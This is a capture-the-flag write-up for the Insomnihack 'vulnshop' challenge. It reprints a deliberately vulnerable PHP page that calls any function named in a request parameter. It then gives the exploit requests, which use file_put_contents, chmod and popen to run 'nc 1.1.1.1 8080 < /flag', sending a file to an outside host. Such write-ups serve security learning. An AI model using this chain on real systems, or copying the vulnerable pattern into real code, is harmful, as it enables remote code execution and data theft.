We’re preparing a website for selling some important vulnerabilities in the future. You can browse some static pages on it, waiting for the official release.

Link: http://vulnshop.teaser.insomnihack.ch

Source:

 <?php if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; }
    error_reporting(0); session_start(); 
    // Anti XSS filter
    $_REQUEST = array_map("strip_tags", $_REQUEST);
    // For later, when we will store infos about visitors.
    chdir("tmp");
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Work in progress...</title>
        <meta charset="utf-8" />
        <meta http-equiv="content-type" content="text/html; charset=utf-8" />
        <style>
            body {
                background-color: #aaa;
                color:#fff;
            }
            
            .page {
                width: 50%;
                margin: 0 auto;
                margin-top: 75px;
            }
            
            
            .menu ul li {
                display:inline-block;
                vertical-align:top;
                margin-right: 30px;
                
            }
        </style>
    </head>
    <body>
        <div class="page">
            <div class="menu">
                <ul>
                    <li><a href="?page=default">Home</a></li>
                    <li><a href="?page=introduction">Introduction</a></li>
                    <li><a href="?page=privacy">Privacy</a></li>
                    <li><a href="?page=contactus">Contact</a></li>
                </ul>
            </div>
            
            <div class="content">
                <?php
                        switch($_GET['page']) {
                            case 'default':
                            default:
                                echo "<p>Welcome to our website about infosec. It's still under construction, but you can begin to browse some pages!</p>";
                                break;
                            case 'introduction':
                                echo "<p>Our website will introduce some new vulnerabilities. Let's check it out later!</p>";
                                break;
                            case 'privacy':
                                echo "<p>This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!</p>";
                                break;
                            case 'contactus':
                                echo "<p>You can't contact us for the moment, but it will be available later.</p>";
                                $_SESSION['challenge'] = rand(100000,999999);
                                break;
                            case 'captcha':
                                if(isset($_SESSION['challenge'])) echo $_SESSION['challenge'];
                                // Will make an image later
                touch($_SESSION['challenge']);
                                break;
                            case 'captcha-verify':
                // verification functions take a file for later, when we'll provide more way of verification
                                function verifyFromString($file, $response) {
                                    if($_SESSION['challenge'] === $response) return true;
                                    else return false;
                                }
                                
                                // Captcha from math op
                                function verifyFromMath($file, $response) {
                                    if(eval("return ".$_SESSION['challenge']." ;") === $response) return true;
                                    else return false;
                                }
                                if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){
                                    $_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);
                                }
                                break;

                        }
                ?>
            </div>
        </div>
        <p><a href="/?hl">View code source of the file, to be sure we're secure!</a></p>
        <p><a href="/phpinfo.php">Show our configurations</a></p>
    </body>
</html>

The challenge gives us a single file web application with no action available and it’s source code.
The only implemented functions are related to the generation and verification of a Captcha without any further use.

The whole application depend on the GET parameter page which makes available the following actions:

  • (get=contactus) Generate a new captcha in session
 $_SESSION['challenge'] = rand(100000,999999);
  • (get=captcha) Print the current captcha and create an empty file in /tmp/$captcha
 echo $_SESSION['challenge']; 
 touch($_SESSION['challenge']);
  • (get=captcha-verify) Which executes the following code:
function verifyFromString($file, $response) {
    if($_SESSION['challenge'] === $response) return true;
    else return false;
}
   
function verifyFromMath($file, $response) {
    if(eval("return ".$_SESSION['challenge']." ;") === $response) return true;
    else return false;
}

if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){
    $_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);
}

So what does this code do? In theory its purpose is to validate a captcha using the two defined functions verifyFromMath and verifyFromString however there are no check in place preventing the call of other PHP functions in $_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);. This allow us to call any arbitrary PHP function with the first argument set as ./$captcha and the second argument read from $_GET['answer'].

From the phpinfo provided with the challenge:

disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,proc_open,system,shell_exec,exec,passthru,mail

Neither popen, parse_ini_file and any file manipulation function is there. So given the calling costraints of the first argument being the captcha file we can do the following:

  • Call file_put_contets('./tmp/captcha', 'reverse_shell_payload');
  • Call chmod('./tmp/captcha/', 0755);
  • Call popen('./tmp/captcha/', 'r');
  • Get the flag without even using the eval function provided

Which translates in the following requests:

  • /?page=captcha-verify&method=file_put_contents&answer=nc 1.1.1.1 8080 < /flag
  • /?page=captcha-verify&method=chmod&answer=493
  • /?page=captcha-verify&method=popen&answer=r

Note: We used the number 493 in decimal in order to call chmod with 0755 in octal, from PHP documentation:

chmod("/somedir/somefile", 755);   // decimal; probably incorrect
chmod("/somedir/somefile", "u+rwx,go+rx"); // string; incorrect
chmod("/somedir/somefile", 0755);  // octal; correct value of mode

Unfortunately, using 0755 via GET won’t work because the PHP interpreter will trim the leading 0 considering it useless as decimal and then will try to convert 755 decimal to octal getting an invalid set of permissions. 493 is the decimal form of 755 and so the automatic PHP conversion will work adding the executable permission to the file.